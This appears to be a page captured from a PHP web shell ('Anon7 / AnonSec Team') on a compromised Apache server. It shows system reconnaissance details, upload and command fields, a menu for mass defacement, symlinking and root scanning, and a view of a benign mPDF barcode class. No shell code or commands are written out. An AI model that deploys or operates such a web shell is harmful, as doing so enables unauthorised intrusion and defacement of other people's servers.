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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vendor/mpdf/mpdf/src/Barcode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/vendor/mpdf/mpdf/src/Barcode/Rm4Scc.php
<?php

namespace Mpdf\Barcode;

class Rm4Scc extends \Mpdf\Barcode\AbstractBarcode implements \Mpdf\Barcode\BarcodeInterface
{

	/**
	 * @param string $code
	 * @param float $xDim
	 * @param float $gapWidth
	 * @param int[] $daft
	 * @param bool $kix
	 */
	public function __construct($code, $xDim, $gapWidth, $daft, $kix = false)
	{
		$this->init($code, $gapWidth, $daft, $kix);

		$this->data['nom-X'] = $xDim;
		$this->data['nom-H'] = 5.0; // Nominal value for Height of Full bar in mm (spec.)
		$this->data['quietL'] = 2; // LEFT Quiet margin =  mm (spec.)
		$this->data['quietR'] = 2; // RIGHT Quiet margin =  mm (spec.)
		$this->data['quietTB'] = 2; // TOP/BOTTOM Quiet margin =  mm (spec?)
	}

	/**
	 * @param string $code
	 * @param float $gapWidth
	 * @param int[] $daft
	 * @param bool $kix
	 */
	private function init($code, $gapWidth, $daft, $kix)
	{
		$notkix = !$kix;

		// bar mode
		// 1 = pos 1, length 2
		// 2 = pos 1, length 3
		// 3 = pos 2, length 1
		// 4 = pos 2, length 2

		$barmode = [
			'0' => [3, 3, 2, 2],
			'1' => [3, 4, 1, 2],
			'2' => [3, 4, 2, 1],
			'3' => [4, 3, 1, 2],
			'4' => [4, 3, 2, 1],
			'5' => [4, 4, 1, 1],
			'6' => [3, 1, 4, 2],
			'7' => [3, 2, 3, 2],
			'8' => [3, 2, 4, 1],
			'9' => [4, 1, 3, 2],
			'A' => [4, 1, 4, 1],
			'B' => [4, 2, 3, 1],
			'C' => [3, 1, 2, 4],
			'D' => [3, 2, 1, 4],
			'E' => [3, 2, 2, 3],
			'F' => [4, 1, 1, 4],
			'G' => [4, 1, 2, 3],
			'H' => [4, 2, 1, 3],
			'I' => [1, 3, 4, 2],
			'J' => [1, 4, 3, 2],
			'K' => [1, 4, 4, 1],
			'L' => [2, 3, 3, 2],
			'M' => [2, 3, 4, 1],
			'N' => [2, 4, 3, 1],
			'O' => [1, 3, 2, 4],
			'P' => [1, 4, 1, 4],
			'Q' => [1, 4, 2, 3],
			'R' => [2, 3, 1, 4],
			'S' => [2, 3, 2, 3],
			'T' => [2, 4, 1, 3],
			'U' => [1, 1, 4, 4],
			'V' => [1, 2, 3, 4],
			'W' => [1, 2, 4, 3],
			'X' => [2, 1, 3, 4],
			'Y' => [2, 1, 4, 3],
			'Z' => [2, 2, 3, 3]
		];

		$code = strtoupper($code);
		$len = strlen($code);

		$bararray = ['code' => $code, 'maxw' => 0, 'maxh' => $daft['F'], 'bcode' => []];

		if ($notkix) {
			// table for checksum calculation (row,col)
			$checktable = [
				'0' => [1, 1],
				'1' => [1, 2],
				'2' => [1, 3],
				'3' => [1, 4],
				'4' => [1, 5],
				'5' => [1, 0],
				'6' => [2, 1],
				'7' => [2, 2],
				'8' => [2, 3],
				'9' => [2, 4],
				'A' => [2, 5],
				'B' => [2, 0],
				'C' => [3, 1],
				'D' => [3, 2],
				'E' => [3, 3],
				'F' => [3, 4],
				'G' => [3, 5],
				'H' => [3, 0],
				'I' => [4, 1],
				'J' => [4, 2],
				'K' => [4, 3],
				'L' => [4, 4],
				'M' => [4, 5],
				'N' => [4, 0],
				'O' => [5, 1],
				'P' => [5, 2],
				'Q' => [5, 3],
				'R' => [5, 4],
				'S' => [5, 5],
				'T' => [5, 0],
				'U' => [0, 1],
				'V' => [0, 2],
				'W' => [0, 3],
				'X' => [0, 4],
				'Y' => [0, 5],
				'Z' => [0, 0]
			];
			$row = 0;
			$col = 0;
			for ($i = 0; $i < $len; ++$i) {
				$row += $checktable[$code[$i]][0];
				$col += $checktable[$code[$i]][1];
			}
			$row %= 6;
			$col %= 6;
			$chk = array_keys($checktable, [$row, $col]);
			$code .= $chk[0];
			$bararray['checkdigit'] = $chk[0];
			++$len;
		}

		$k = 0;
		if ($notkix) {
			// start bar
			$bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $daft['A'], 'p' => 0];
			$bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => $daft['A'], 'p' => 0];
			$bararray['maxw'] += (1 + $gapWidth);
		}

		for ($i = 0; $i < $len; ++$i) {

			for ($j = 0; $j < 4; ++$j) {

				switch ($barmode[$code[$i]][$j]) {
					case 1:
						// ascender (A)
						$p = 0;
						$h = $daft['A'];
						break;
					case 2:
						// full bar (F)
						$p = 0;
						$h = $daft['F'];
						break;
					case 3:
						// tracker (T)
						$p = ($daft['F'] - $daft['T']) / 2;
						$h = $daft['T'];
						break;
					case 4:
						// descender (D)
						$p = $daft['F'] - $daft['D'];
						$h = $daft['D'];
						break;
				}

				$bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $h, 'p' => $p];
				$bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => 2, 'p' => 0];
				$bararray['maxw'] += (1 + $gapWidth);

			}
		}

		if ($notkix) {
			// stop bar
			$bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $daft['F'], 'p' => 0];
			$bararray['maxw'] += 1;
		}

		$this->data = $bararray;
	}

	/**
	 * @inheritdoc
	 */
	public function getType()
	{
		return 'RM4SCC';
	}

}

Anon7 - 2022
AnonSec Team